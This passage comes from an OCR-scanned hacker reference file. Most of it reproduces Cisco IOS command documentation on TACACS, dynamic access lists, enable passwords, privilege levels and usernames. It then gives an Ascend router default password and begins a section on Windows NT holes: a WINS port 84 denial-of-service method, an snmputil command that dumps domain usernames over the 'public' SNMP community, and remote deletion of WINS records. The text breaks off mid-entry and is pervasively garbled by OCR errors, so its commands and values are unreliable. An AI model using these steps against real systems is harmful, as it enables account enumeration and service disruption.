aaa accounting suite of conmmands.

Exanpl e
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The foll owing exanple sets up notification of the TACACS server when a user |ogs out: tacacs-
server notify | ogout

[12.7.0] tacacs-server optional-passwords

To specify that the first TACACS request to a TACACS server be nade wi t hout password
verification, use the tacacs-server optional-passwords gl obal configuration conmand. Use the
no formof this command to restore the default.

tacacs-server optional - passwords

no tacacs-server optional - passwords

Synt ax Descri ption

This command has no argunents or keywords.

Def aul t

Di sabl ed

Command Mode

A obal configuration

Usage Cui delines

This command first appeared in Cisco | OS Rel ease 10.0.

When the user enters in the login nane, the login request is transmtted with the nane and a
zero-length password. |f accepted, the login procedure conpletes. |If the TACACS server refuses
this request, the server software pronpts for a password and tries again when the user supplies a
password. The TACACS server nust support authentication for users w thout passwords to nake

use of this feature. This feature supports all TACACS requests---login, SLIP, enable, and so on
Note This conmand is not used by AAA/ TACACS+.
Exanpl e

The foll owi ng exanple configures the first login to not require TACACS verification:
tacacs-server optional - passwords

[12.7.1] tacacs-server retransmnit

To specify the nunber of tinmes the Cisco | OS software searches the |ist of TACACS server hosts
before giving up, use the tacacs-server retransnt gl obal configuration command. Use the no
formof this conmand to di sable retransm ssion

tacacs-server retransnit retries

no tacacs-server retransmt

Syntax Description

retries Integer that specifies the retransmt count.

Def aul t
Two retries
Comuand Mbde

d obal configuration

Usage Gui del i nes

This command first appeared in C sco | OS Rel ease 10.0.

The Cisco IS software will try all servers, allow ng each one to tine out before increasing the
retransmt count.

Exanpl e

The foll owing exanple specifies a retransnit counter value of five tines:
tacacs-server retransnit 5

[12.7.2] tacacs-server timeout

To set the interval that the server waits for a server host to reply, use the tacacs-server
ti meout

gl obal configurati on command. Use the no formof this command to restore the default.
tacacs-server timeout seconds

no tacacs-server timeout

Synt ax Descri ption

seconds Integer that specifies the tineout interval in seconds (between 1 and 300).
Def aul t

5 seconds

Command Mode

d obal configuration

Usage Gui del i nes

This command first appeared in Csco | OS Rel ease 10.0. Exanple

The foll owi ng exanpl e changes the interval tiner to 10 seconds:

tacacs-server tinmeout 10

Rel at ed Commrand
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tacacs-server host

[12.7.3] Traffic Filter Commuands

Thi s chapter describes the commands used to configure Lock-and-key security (1P only).

Oher traffic filter commands are protocol -specific, and are therefore described in the
appropriate

protocol -specific chapters in the G sco | OS command references. You should refer to these
protocol -specific chapters to find detailed information about traffic filter commands for each
protocol . (Many of these protocols refer to the filters as "access lists.")

Specific informati on about configuring traffic filters (access lists) for these protocols can be
f ound

in protocol -specific chapters in the Cisco | 0S configuration guides. General guidelines for using
access lists can be found in the "Configuring Traffic Filters" chapter of the Security
Configuration

Qui de.

Lock-and-key security is inplenented with extended | P dynanic access lists. Lock-and-key
security is available only for IP traffic, but provides nore security functions than traditiona
static

traffic filters.

[12.7.4] access-enable

To enable the router to create a tenporary access list entry in a dynanic access list, use the
access-enabl e EXEC conmand.

access-enabl e [host] [tinmeout m nutes]

Synt ax Description

host (Optional) Tells the software to enable access only for the host fromwhich the

Tel net session originated. |If not specified, the software allows all hosts on the defined network
to

gai n access. The dynanic access list contains the network mask to use for enabling the new

net wor k.

tinmeout mnutes (Optional) Specifies an idle tineout for the tenporary access |list entry.

|

the access list entry is not accessed within this period, it is automatically deleted and requires
t he

user to authenticate again. The default is for the entries to remain permanently. W recomend
that this value equal the idle timeout set for the WAN connection

Command Mbde

EXEC

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 11.1.

This command enabl es the | ock-and-key access feature.

You shoul d always define either an idle timeout (with the timeout keyword in this comand) or
an absolute tinmeout (with the tineout keyword in the access-list comand). Oherw se, the
tenporary access list entry will remain, even after the user term nates the session

Exanpl e

The foll owi ng exanpl e causes the software to create a tenporary access list entry and tells the
software to enabl e access only for the host fromwhich the Tel net session originated. |If the
access list entry is not accessed within 2 mnutes, it is deleted.

aut ocommand access-enabl e host tineout 2

Rel at ed Comrands

A dagger (t) indicates that the command is docunmented outside this chapter

access-list (extended) *t

aut ocommand t

[12.7.5] access-tenplate

To manual |y place a tenporary access list entry on a router to which you are connected, use the
access-tenpl ate EXEC command. access-tenplate [access-list-nunber | nane] [dynam c-nane] [source]
[destination] [tinmeout

m nut es]

Synt ax Descri ption

access-|ist-nunmber Nunber of the dynanic access list.

nane Nane of an I P access list. The nane cannot contain a space or quotation nark,

and nust begin with an al phabetic character to avoid anbiguity with nunbered access |ists.
dynam c-nanme (Optional) Nane of a dynanic access list.
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source (Optional) Source address in a dynam c access |list. The keywords host and

any are allowed. Al other attributes are inherited fromthe original access-list entry.
destination (Optional) Destination address in a dynam c access |list. The keywords host and
any are allowed. Al other attributes are inherited fromthe original access-list entry.
timeout mnutes (Optional) Specifies a maximumtine limt for each entry within this

dynamic list. This is an absolute time, fromcreation, that an entry can reside in the list. The
default is an infinite time linmt and allows an entry to remain permanently.

Conmand Mode

EXEC

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 11.1.

This command provides a way to enable the | ock-and-key access feature.

You shoul d al ways define either an idle tineout (with the timeout keyword in this comuand) or
an absolute tinmeout (with the tinmeout keyword in the access-list command). Oherw se, the
dynam c access list will remain, even after the user has term nated the session

Exanpl e

In the follow ng exanple, the software enables |IP access on incom ng packets in which the
source address is 172.29.1.129 and the destination address is 192.168.52.12. All other source
and destination pairs are di scarded.

access-tenplate 101 payroll host 172.29.1.129 host 192.168.52.12 tineout 2

Rel at ed Commuands

A dagger (1) indicates that the conmand i s docunented outside this chapter

access-list (extended) t

aut oconmand T

cl ear access-tenplate

[12.7.6] clear access-tenplate

To manual ly clear a tenporary access list entry froma dynanmic access list, use the clear
access-tenpl ate EXEC conmmand

cl ear access-tenplate [access-1ist-nunber | name] [dynam c-nanme] [source] [destination]
Synt ax Description

access-list-nunber (Optional) Nunber of the dynami c access list fromwhich the entry is to

be del et ed.

nane Nane of an |IP access list fromwhich the entry is to be deleted. The nane

cannot contain a space or quotation mark, and nust begin with an al phabetic character to avoid
anbiguity with nunbered access |ists.

dynam c-nanme (Optional) Name of the dynamic access list fromwhich the entry is to be

del et ed

source (Optional) Source address in a tenporary access list entry to be del eted.

destination (Optional) Destination address in a tenporary access list entry to be del eted.
Conmand Mode

EXEC

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 11.1.

This command is related to the | ock-and-key access feature. It clears any tenporary access |i st
entries that match the paranmeters you define.

Exanpl e

The foll owing exanple clears any tenporary access list entries with a source of 172.20.1.12 from
t he dynami c access |ist named vendor

cl ear access-tenplate vendor 172.20.1.12

Rel at ed Commands

A dagger (1) indicates that the comrand i s docunented outside this chapter.

access-list (extended) T

access-tenplate [12.7.7] show ip accounting

To display the active accounting or checkpoi nted database or to display access-list violations,
use

the show i p accounting privil eged EXEC conmand.

show i p accounting [checkpoint] [output-packets | access-violations]

Synt ax Descri ption

checkpoint (Optional) Indicates that the checkpoi nted database shoul d be displ ayed.

out put - packets (Optional) Indicates that information pertaining to packets that passed access
control and were successfully routed should be displayed. This is the default value if neither

file://ID|//WEB/hacker/TheModHackReference.txt (125 of 169) [9/12/2004 8:18:42 PM]



file://ID)/WEB/hacker/TheM odHackReference.txt

out put - packets nor access-violations is specified.

access-violations (Optional) Indicates that information pertaining to packets that failed
access lists and were not routed should be displayed.

Defaul ts

If neither the output-packets nor access-violations keyword is specified, show ip accounting
di splays information pertaining to packets that passed access control and were successfully
rout ed.

Conmand Mode

EXEC

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 10.0

To use this command, you nust first enable I P accounting on a per-interface basis.
Sanpl e Di spl ays

Following is sanple output fromthe show ip accounting command:

Rout er# show i p accounting

Sour ce Destination Packets Bytes

172.30.19.40 172.30.67.20 7 306

172.30.13.55 172.30.67.20 67 2749

172.30.2.50 172.30.33.51 17 1111

172.30.2.50 172.30.2.1 5 319

172.30.2.50 172.30.1.2 463 30991

172.30.19.40 172.30.2.1 4 262

172.30.19.40 172.30.1.2 28 2552

172.30.20.2 172.30.6.100 39 2184

172.30.13.55 172.30.1.2 35 3020

172.30.19.40 172.30.33.51 1986 95091

172.30.2.50 172.30.67.20 233 14908

172.30.13.28 172.30.67.53 390 24817

172.30.13.55 172.30. 33.51 214669 9806659

172.30.13.111 172.30.6.23 27739 1126607

172.30.13.44 172.30. 33.51 35412 1523980

172.30.7.21 172.30.1.2 11 824

172.30.13.28 172.30.33.2 21 1762

172.30.2.166 172.30.7.130 797 141054

172.30.3.11 172. 30.67.53 4 246

172.30.7.21 172.30.33.51 15696 695635

172.30.7.24 172.30.67.20 21 916

172.30.13.111 172.30.10.1 16 1137

Fi el d Description

Source Source address of the packet

Destination Destination address of the packet

Packets Number of packets transmitted fromthe source address to the destination
addr ess

Byt es Nunmber of bytes transnmitted fromthe source address to the destinati on address
Following is sanple output fromthe show ip accounting access-violations conmand. (The
follow ng displays information pertaining to packets that failed access |ists and were not
routed.)

Rout er# show i p accounting access-viol ations

Source Destination Packets Bytes ACL

172.30.19.40 172.30.67.20 7 306 77

172.30.13.55 172.30.67.20 67 2749 185

172.30.2.50 172.30.33.51 17 1111 140

172.30.2.50 172.30.2.1 5 319 140

172.30.19.40 172.30.2.1 4 262 77

Accounting data age is 41

Fi el d Description

Sour ce Source address of the packet

Destination Destination address of the packet

Packets For accounting keyword, nunber of packets transnmitted fromthe source
address to the destination address

For access-viol ations keyword, nunber of packets transmitted fromthe source address to the
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destinati on address that violated the access control i st

Byt es For accounting keyword, number of bytes transmitted fromthe source address
to the destination address

For access-viol ations keyword, nunber of bytes transmitted fromthe source address to the
destination address that violated the access-control |ist

ACL Nunber of the access list of the | ast packet transmitted fromthe source to the
destination that failed an access |i st

Rel at ed Conmands

A dagger (1) indicates that the conmand i s docunented outside this chapter

clear ip accounting ¥

ip accounting t

i p accounting-list *

ip accounting-threshold ¥

i p accounting-transits t

[12.7.8] Terminal Access Security Comands

This chapter describes the commands used to control access to the router

enabl e

To log on to the router at a specified | evel, use the enable EXEC command.

enabl e [l evel]

Synt ax Descri ption

| evel (Optional) Defines the privilege level that a user logs in to on the router
Def aul t

Level 15
Comuand Mbde
EXEC

Usage Gui del i nes

This command first appeared in C sco | OS Rel ease 10.0.

Not e The enable conmand is associated with privilege level 0. If you configure AAA authorization
for a privilege level greater than 0, this conmand will not be included in the privilege |eve
command set.

Exanpl e

In the follow ng exanple, the user is logging on to privilege level 5 on a router

enable 5

Rel at ed Commuands

A dagger (t) indicates that the command is docunmented outside this chapter

di sable f

privilege |evel (global)

privilege level (line)

[12.7.9] enable password

Use t he enabl e password gl obal configuration command to set a | ocal password to contro

access to various privilege levels. Use the no formof this conmand to renove the password
requirenent.

enabl e password [level level] {password | encryption-type encrypted-password} no enabl e password
[level level]

Synt ax Descri ption

| evel level (Optional) Level for which the password applies. You can specify up to 16

privilege levels, using nunmbers 0 through 15. Level 1 is normal EXEC- node user privileges. If this

argument is not specified in the command or the no formof the command, the privilege |eve
defaults to 15 (traditional enable privileges).

password Password users type to enter enabl e node.

encryption-type (Optional) Ci sco-proprietary algorithmused to encrypt the password.
Currently

the only encryption type available is 7. If you specify encryption-type, the next argunent you
supply nust be an encrypted password (a password already encrypted by a Ci sco router).
encrypt ed- password Encrypted password you enter, copied from another router configuration
Def aul t

No password is defined. The default is Ievel 15

Conmand Mode

A obal configuration

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 10.0.

file://ID|//WEB/hacker/TheModHackReference.txt (127 of 169) [9/12/2004 8:18:42 PM]



file://ID)/WEB/hacker/TheM odHackReference.txt

Use this command with the level option to define a password for a specific privilege level. After
you specify the level and the password, give the password to the users who need to access this
level. Use the privilege level (global) configuration command to specify comrands accessi bl e
at various |evels.

You will not ordinarily enter an encryption type. Typically you enter an encryption type only if
you

copy and paste into this command a password that has al ready been encrypted by a Ci sco
router.

Caution If you specify an encryption type and then enter a cleartext password, you will not
be able to reenter enable node. You cannot recover a | ost password that has been encrypted by
any net hod.

If the service password-encryption command is set, the encrypted formof the password you
create with the enabl e password command is di splayed when a show startup-config comrand

is entered.

You can enabl e or disable password encryption with the service password-encryption

comand.

An enabl e password is defined as foll ows:

? Must contain from1l to 25 uppercase and | owercase al phanuneric characters.

? Must not have a nunber as the first character.

? Can have | eading spaces, but they are ignored. However, internediate and trailing

spaces are recogni zed.

? Can contain the question mark (?) character if you precede the question mark with the

key conbination Crtl-V when you create the password; for exanple, to create the

password abc?123, do the follow ng:

? Enter abc.

? Type Crtl-V.

? Enter ?123.

When the system pronpts you to enter the enabl e password, you need not precede the

question mark with the Crl-V; you can sinply enter abc?123 at the password pronpt.

Exanpl es

In the follow ng exanple, the password pswd2 is enabled for privilege |evel 2:

enabl e password | evel 2 pswd2

In the follow ng exanple the encrypted password $1$i 5Rkl s3LoyxzS8t 9, which has been copied
froma router configuration file, is set for privilege |level 2 using encryption type 7

enabl e password level 2 7 $1$i 5Rkl s3LoyxzS8t 9

Rel at ed Comrands

A dagger (t) indicates that the command is docunented outside this chapter

di sable f

enable f

enabl e secret

privilege |evel (global)

servi ce password-encryption show privil ege

show startup-config f

[12.8.0] enable secret

Use the enabl e secret gl obal configuration comrmand to specify an additional |ayer of security
over the enable password conmand. Use the no formof the command to turn off the enable
secret function.

enabl e secret [level level] {password | encryption-type encrypted-password}

no enabl e secret [level |evel]

Syntax Description

| evel level (Optional) Level for which the password applies. You can specify up to sixteen
privilege levels, using nunbers 0 through 15. Level 1 is normal EXEC-nobde user privileges. If this
argunent is not specified in the command or in the no formof the conmand, the privilege | eve
defaults to 15 (traditional enable privileges). The sane holds true for the no formof the
conmand.

password Password users type to enter enable node. This password shoul d be different

fromthe password created with the enabl e password conmand.

encryption-type (Optional) Cisco-proprietary algorithmused to encrypt the password.
Currently

the only encryption type available for this command is 5 . If you specify encryption-type, the
next
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argunent you supply nust be an encrypted password (a password encrypted by a Ci sco router).
encrypt ed- password Encrypted password you enter, copied from another router configuration

Def aul t

No password is defined. The default level is 15

Comand Mode

d obal configuration

Usage Gui del i nes

This command first appeared in C sco | OS Rel ease 11.0.

Use this command in conjunction with the enabl e password command to provi de an additi ona

| ayer of security over the enable password. The enabl e secret command provides better security
by storing the enabl e secret password using a non-reversible cryptographic function. The added
| ayer of security encryption provides is useful in environments where the password crosses the
network or is stored on a TFTP server.

You will not ordinarily enter an encryption type. Typically you enter an encryption type only if
you

paste into this command an encrypted password that you copied froma router configuration file.
Caution If you specify an encryption-type and then enter a cleartext password, you wll not

be able to reenter enable node. You cannot recover a |ost password that has been encrypted by
any net hod.

If you use the sane password for the enable password and enabl e secret commands, you

receive an error nmessage warning that this practice is not recommended, but the password will
be accepted. By using the sanme password, however, you underm ne the additional security the
enabl e secret conmand provi des.

Note After you set a password using enable secret command, a password set using the enable
password comrand works only if the enable secret is disabled or an ol der version of Cisco ICS
software i s being used, such as when running an ol der rxboot inage. Additionally, you cannot
recover a |ost password that has been encrypted by any nethod.

If service password-encryption is set, the encrypted formof the password you create here is
di spl ayed when a show startup-config comand is entered.

You can enabl e or disable password encryption with the service password-encryption

conmand.

An enabl e password is defined as foll ows:

? Must contain from1l to 25 uppercase and | owercase al phanuneric characters

? Must not have a nunber as the first character

? Can have | eadi ng spaces, but they are ignored. However, internediate and trailing

spaces are recogni zed.

? Can contain the question mark (?) character if you precede the question mark with the key
conmbination Crtl-V when you create the password; for exanple, to create the

password abc?123, do the foll ow ng:

? Enter abc.

? Type Crtl-V.

? Enter ?123.

When the system pronpts you to enter the enable password, you need not precede the

qgquestion mark with the CGrl-V; you can sinply enter abc?123 at the password pronpt.

Exanpl es

The foll owi ng exanpl e specifies the enabl e secret password of gobbl edegook

enabl e secret gobbl edegook

After specifying an enabl e secret password, users nust enter this password to gain access. Any
passwords set through enable password will no | onger work.

Passwor d: gobbl edegoo

In the follow ng exanple the encrypted password $1$FaD0$Xyti 5Rkl s3LoyxzS8 , which has been
copied froma router configuration file, is enabled for privilege level 2 using encryption type 5
enabl e password level 2 5 $1$FaD0$Xyti 5Rkl s3LoyxzS8

Rel at ed Comrands

A dagger (t) indicates that the command is docunented outside this chapter

enable f

enabl e password

[12.8.1] ip identd

To enabl e identification support, use the ip identd global configuration command. Use the no
formof this conmand to disable this feature.

ip identd
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no ip identd

Synt ax Descri ption

Thi s command has no argunents or keywords.

Def aul t

Identification support is not enabl ed.

Command Mode

d obal configuration

Usage Gui del i nes

This command first appeared in Csco | 0S Rel ease 11. 1.

The ip identd comand returns accurate information about the host TCP port; however, no
attenpt is nade to protect agai nst unauthorized queri es.

Exanpl e

In the foll owing exanple, identification support is enabled:

ip identd

[12.8.2] login authentication

To enabl e TACACS+ aut hentication for |ogins, use the login authentication line configuration
command. Use the no formof this command to either disable TACACS+ authentication for |ogins
or to return to the default.

I ogin authentication {default | I|ist-nane}

no |l ogin authentication {default | |ist-nane}

Synt ax Descri ption

default Uses the default list created with the aaa authentication |ogin command.

list-nane Uses the indicated list created with the aaa authentication | ogin comand.

Def aul t

Uses the default set with aaa authentication |ogin.

Conmand Mode

Li ne configuration

Usage Gui deli nes

This command first appeared in Cisco | OS Rel ease 10. 3.

This command is a per-line comrmand used with AAA that specifies the name of a list of
TACACS+ aut hentication nethods to try at login. If no list is specified, the default list is used
(whether or not it is specified in the conmmand |ine).

Caution If you use a list-nanme value that was not configured with the aaa authentication

I ogin command, you will disable login on this Iine.

Entering the no version of |ogin authentication has the sane effect as entering the conmand with
the default argument.

Before issuing this command, create a list of authentication processes by using the gl obal
configuration aaa authentication |ogin conmand.

Exanpl es

The foll owi ng exanpl e specifies that the default AAA authentication is to be used on line 4:
line 4

| ogi n aut hentication default

The foll owi ng exanpl e specifies that the AAA authentication list called listl is to be used on
I'ine

7

line 7

|l ogin authentication listl

Rel at ed Comrand

aaa aut hentication |ogin

[12.8.3] privilege level (global)

To set the privilege level for a command, use the privilege |evel global configuration conmand.
Use the no formof this conmand to revert to default privileges for a given conmmand.
privilege node |evel |evel command

no privilege node | evel |evel command

Synt ax Description

nmode Configuration node. (See the alias command in the Configuration Fundanental s

Conmand Reference for a description of node.

Il evel Privilege |level associated with the specified command. You can specify up to sixteen
privilege levels, using nunbers 0 through 15.

command Conmand to which privilege | evel is associated.

Defaul ts
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Level 15 is the level of access permitted by the enabl e password.

Level 1 is normal EXEC-node user privil eges.

Conmand Mode

A obal configuration

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 10. 3.

The description of the alias comuand, in the Configurati on Fundanetal s Comrand Reference,

shows the options for the nbde argunment in the privilege | evel global configuration comand.

The password for a privilege |level defined using the privilege |evel global configuration
command i s configured using the enable password comand.

Level 0 can be used to specify a nore-linited subset of conmands for specific users or lines. For
exanpl e, you can allow user "guest" to use only the show users and exit commands.

Note There are five commands associated with privilege |level 0: disable, enable, exit, help, and
logout. If you configure AAA authorization for a privilege level greater than 0, these five
commands will not be included.

When you set a command to a privilege level, all commands whose syntax is a subset of that
command are also set to that level. For exanple, if you set the showip route command to | eve
15, the show comrands and show i p commands are automatically set to privilege |evel 15---

unl ess you set themindividually to different |evels.

Exanpl e

The conmands in the foll owi ng exanple set the configure command to privilege |level 14 and
establish SecretPswdl4 as the password users nust enter to use |evel 14 comands.

privilege exec |level 14 configure

enabl e secret |evel 14 SecretPswdl4

Rel at ed Commands

enabl e password

enabl e secret

privilege level (line)

[12.8.4] privilege level (line)

To set the default privilege level for a line, use the privilege level line configuration comand.
Use the no formof this command to restore the default user privilege level to the line. privilege
| evel |evel

no privilege | eve

Synt ax Descri ption

| evel Privilege |evel associated with the specified |ine.

Defaul ts

Level 15 is the level of access permitted by the enabl e password.

Level 1 is nornmal EXEC-node user privil eges.

Conmand Mode

Li ne configuration

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 10.3

Users can override the privilege |level you set using this comand by logging in to the line and
enabling a different privilege level. They can |lower the privilege |evel by using the disable
command. |f users know the password to a higher privilege level, they can use that password to
enabl e the higher privilege |evel.

You can use level 0 to specify a subset of commands for specific users or lines. For exanple, you
can allow user "guest" to use only the show users and exit conmands.

You might specify a high level of privilege for your console line to restrict who uses the line.
Exanpl es

The conmands in the foll owi ng exanple configure the auxiliary line for privilege |evel 5 Anyone
using the auxiliary line has privilege |level 5 by default.

line aux O

privilege level 5

The conmand in the followi ng exanple sets all show ip commands, which includes all show
conmands, to privilege |level 7:

privilege exec level 7 showip route

This is equivalent to the foll ow ng conmand:

privilege exec |level 7 show

The commands in the followi ng exanple set showip route to level 7 and the show and show ip
conmands to level 1:

file://ID|/WEB/hacker/TheModHackReference.txt (131 of 169) [9/12/2004 8:18:42 PM]



file://ID)/WEB/hacker/TheM odHackReference.txt

privilege exec level 7 showip route

privilege exec level 1 showip

Rel at ed Commuands

enabl e password

privilege level (line)

[12.8.5] service password-encryption

To encrypt passwords, use the service password-encryption global configuration conmand.
Use the no formof this command to disable this service.

servi ce password-encryption

no servi ce password-encryption

Synt ax Description

This command has no argunents or keywords.

Def aul t

No encryption

Conmand Mode

d obal configuration

Usage Gui del i nes

This command first appeared in Cisco | OS Rel ease 10.0

The actual encryption process occurs when the current configuration is witten or when a
password is configured. Password encryption is applied to all passwords, including authentication
key passwords, the privil eged conmand password, console and virtual termnal |ine access
passwords, and BGP nei ghbor passwords. This command is primarily useful for keeping

unaut hori zed individuals fromview ng your password in your configuration file.

When password encryption is enabl ed, the encrypted form of the passwords is displayed when a
show startup-config command is entered. Caution This conmand does not provide a high | evel
of network security. If you use this command, you should al so take additional network security
neasur es.

Not e You cannot recover a |ost encrypted password. You rust clear NVRAM and set a new password.
Exanpl e

The foll owi ng exanpl e causes password encryption to take place:

servi ce password-encryption

Rel at ed Comands

A dagger (1) indicates that the command is docunented outside this chapter

enabl e password

key-string t

nei ghbor password ft

[12.8.6] show privilege

To display your current |level of privilege, use the show privil ege EXEC comand.

show privil ege

Synt ax Descri ption

This command has no argunents or keywords.

Command Mode

EXEC

Usage Gui del i nes

This command first appeared in C sco | OS Rel ease 10. 3.

Sampl e Di spl ay

The following is sanmple output fromthe show privilege command. The current privilege level is
15.

Rout er# show privil ege

Current privilege level is 15

Rel at ed Commands

enabl e password | eve

enabl e secret |eve

[12.8.7] usernane

To establish a usernane-based authentication system enter the usernanme gl obal configuration
conmand.

user name nanme {nopassword | password password [encryption-type encrypted-password]}

user name name password secret

user nane nane [access-class nunber]

user nanme nane [autocomand comand]

username nane [cal | back-dial string tel ephone-nunber]
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username nane [cal |l back-rotary rotary-group-nunber]

user name name [call back-line [tty] |ine-nunber [ending-I|ine-nunber]]

usernanme nane [nocal | back-verify]

user nane nanme [noescape] [nohangup]

usernane name [privilege |evel]

Synt ax Description

name Host nane, server nane, user |D, or conmand nane. The name argunent can be only

one word. Wite spaces and quotation marks are not all owed.

nopassword No password is required for this user tolog in. This is usually nost useful in
conbi nati on with the autoconmmand keyword.

password Specifies a possibly encrypted password for this usernane.

password Password a user enters.

encryption-type (Optional) Single-digit nunber that defines whether the text inmmediately
foll owi ng

is encrypted, and, if so, what type of encryption is used. Currently defined encryption types are
0,

whi ch neans that the text imediately following is not encrypted, and 7, which neans that the
text is encrypted using a G sco-defined encryption algorithm

encrypted password Encrypted password a user enters.

password (Optional) Password to access the name argunent. A password nmust be from 1l

to 25 characters, can contain enbedded spaces, and nust be the |last option specified in the
user name conmand

secret For CHAP authentication: specifies the secret for the local router or the renote device.
The secret is encrypted when it is stored on the local router. The secret can consist of any
string

of up to 11 ASCI| characters. There is no limt to the nunber of username and password

conbi nati ons that can be specified, allow ng any nunber of renote devices to be authenticated.
access-class (Optional) Specifies an outgoing access list that overrides the access |ist
specified in the access-class |line configuration conmand. It is used for the duration of the
user's

sessi on.

nunber Access |ist nunber.

aut ocommand (Optional) Causes the specified command to be issued automatically after the
user logs in. Wien the command is conplete, the session is term nated. Because the comrmand
can be any length and contai n enbedded spaces, commands using the aut ocommand keyword

must be the last option on the line.

conmand The command string. Because the conmand can be any length and contain

enbedded spaces, commands using the aut ocommand keyword nust be the | ast option on the

I'ine.

cal I back-dial string (Optional) For asynchronous callback only: permts you to specify a

t el ephone nunber to pass to the DCE device.

t el ephone- nunber For asynchronous cal |l back only: tel ephone nunber to pass to the DCE

devi ce.

cal I back-rotary (Optional) For asynchronous call back only: permits you to specify a

rotary group number. The next available line in the rotary group is sel ected.
rotary-group-nunber For asynchronous call back only: integer between 1 and 100 t hat
identifies the group of lines on which you want to enable a specific usernane for call back
cal I back-1ine (Optional) For asynchronous call back only: specific line on which you enable a
speci fic usernane for call back

tty (Optional) For asynchronous call back only: standard asynchronous |ine.

I i ne- nunber For asynchronous call back only: relative nunber of the terminal line (or the first
line in a contiguous group) on which you want to enable a specific usernane for call back
Nunberi ng begins with zero.

endi ng- | i ne-nunber (Optional) Relative nunber of the last line in a contiguous group on

whi ch you want to enable a specific usernane for callback. If you omt the keyword (such as tty),
then |ine-nunber and endi ng-I1ine-nunber are absolute rather than relative |line nunbers.
nocal | back-verify (Optional) Authentication not required for EXEC cal |l back on the specified
I'ine.

noescape (Optional) Prevents a user from using an escape character on the host to which

that user is connected.

nohangup (Optional) Prevents the security server from di sconnecting the user after an
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aut omatic command (set up with the autocommand keyword) has conpl eted. |nstead, the user
gets another | ogin pronpt.

privilege (Optional) Sets the privilege |level for the user

| evel (Optional) Nunber between 0 and 15 that specifies the privilege |level for the user

Def aul t

None

Command Mode

A obal configuration

Usage Gui deli nes

The foll owing commands first appeared in Cisco | OS Rel ease 10.0:

user nane name {nopassword | password password [encryption-type encrypted-password]}

user name name password secret

user name name [access-cl ass nunber]

user name nane [aut ocommand command]

usernanme nane [ noescape] [nohangup]

usernane nanme [privilege |evel]

The foll owing cormands first appeared in Cisco | 0S Release 11.1

username nane [cal |l back-dial string tel ephone-nunber]

usernanme name [cal |l back-rotary rotary-group-nunber]

user name name [call back-line [tty] |ine-nunber [ending-I|ine-nunber]]

user name name [nocal | back-verify]

The usernane command provi des usernane and/or password authentication for |ogin purposes
only. (Note that it does not provide usernane and/or password authentication for enabl e node
when the enabl e use-tacacs command is al so configured.) Miltiple usernanme conmands can be used to
specify options for a single user.

Add a usernane entry for each rempte systemthat the |ocal router comunicates with and
requires authentication from The renote device nust have a usernane entry for the | ocal router
This entry nmust have the sanme password as the local router's entry for that renote device.
This command can be useful for defining usernanes that get special treatnent. For exanple, you
can use this command to define an "info" usernane that does not require a password, but
connects the user to a general purpose information service.

The username conmand is required as part of the configuration for the Chall enge Handshake
Aut henti cation Protocol (CHAP). Add a username entry or each renote systemthe | ocal router
requires authentication from

Note To enable the local router to respond to renote CHAP chal | enges, one usernane nane
entry nmust be the sane as the hostnane nane entry that has al ready been assigned to your
router.

If there is no secret specified and the debug serial-interface conmand is enabled, an error is
di spl ayed when a link is established and the CHAP chal l enge is not inplenented. CHAP
debugging information is avail able using the debug serial-interface and debug seri al - packet
commands. For nore informati on about debug commands, refer to the Debug Command

Ref er ence.

Exanpl es

To inplenment a service sinilar to the UNI X who conmand, which can be entered at the login
prompt and lists the current users of the router, the usernane comand takes the follow ng form
user name who nopassword nohangup aut ocomrand show users

To inplerment an information service that does not require a password to be used, the conmand
takes the follow ng form

user name i nfo nopassword noescape aut ocomand tel net nic.ddn. ml

To inplenment an I D that works even if the TACACS servers all break, the commuand takes the
following form

user name superuser password superpassword

The foll owi ng exanpl e configuration enables CHAP on interface serial 0. It also defines a
password for the |local server, Adam and a renote server, Eve

host name Adam

interface serial O

encapsul ati on ppp

ppp aut hentication chap

user nane Adam password our system

user nane Eve password theirsystem

Wien you | ook at your configuration file, the passwords will be encrypted and the display wll
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| ook

simlar to the follow ng:

host name Adam

interface serial 0O

encapsul ati on ppp

ppp aut hentication chap

user name Adam password 7 1514040356

user name Eve password 7 121F0A18

Rel at ed Commuands

A dagger (t) indicates that the command is docunented outside this chapter. Two daggers (TT)
i ndicate that the command is docunented in the Debug Command Reference.

arap call back t call back-forced-wait t

debug cal | back ft

ppp cal |l back t

[12.8.8] A Wrd on Ascend Routers

Ascend routers or ok, but they're not as powerful or as configurable as Cisco. So we wll not
spend as nuch tinme on them Actually we will not spend any tine on them.The only thing we
will say is that unless an Adm ni strator changes the password.. the default password on an
Ascend is either blank or ascend.

[13.0.0] Known NT/95/1E Hol es

[13.0.1] WNS port 84

Found by NeonSurge (rhino9 tean

This is not a critical bug. Its actually nore of a nuissance than anything else. If you tel net or
streamdata to port84 of an NT server, it will cause an error to be recorded in the event long. In

some systens, this can cause the hard drive to conpletely fill up with error nmessages, causing
other applications to fail due to |l ack of drive space. The flaw will al so cause the server to
respond

extrenely sl ow

For the telnet attack, sinply telnet to the WNS port on an NT server and type on garbage
characters, hit enter and it will cause the event log entry.

The sane effect was achieved by using an application called pepsi to stream UDP infornmaiton to
the sane port.

[13.0.2] W ndowsNT and SNWP

Found by Christopher Rouland (from ntsecurity. net)

Chri stopher wites:

I have found two significant "features" in the SNWP agent inplenmentations under NT 4.0 Server

and | amsure there are nore if | feel like really digging. The first issue | sent in earlier this
year to
M crosoft and received no response ot her than "expected behavior"” and the second | just found

and puts any large NT shop at a serious denial of service (DOS) risk

1. This first exploit denonstrates the ability via SNMP to dunp a list of all usernanmes in an NT
domain (assuming the target box is a DC) or on an NT Server.

Here is the sinplest NT exanple | could find to use this:

C.\NTRESKI T>snnputil walk public .1.3.6.1.4.1.77.1.2.25

shoul d be a domain controller or server

2. The second exploit denpbnstrates the ability via SNMP to delete all of the records in a WNS
dat abase renotely, bypassing all NT security. If you understand |arge scale WNS
architecture, you can understand the inplications of this. Know edge of SNMP conmunity
strings would allow an attacker to effectively shut down any large NT infrastructure with "N'
commands (N=nunmber of WNS servers). This is permtted due to the extensive "cnd" set

i mpl enented in the WNS extension agent, specifically:

2. cndDel et eWns OBJECT- TYPE

SYNTAX | pAddr ess

ACCESS read-wite

STATUS nandat ory

DESCRI PTI ON

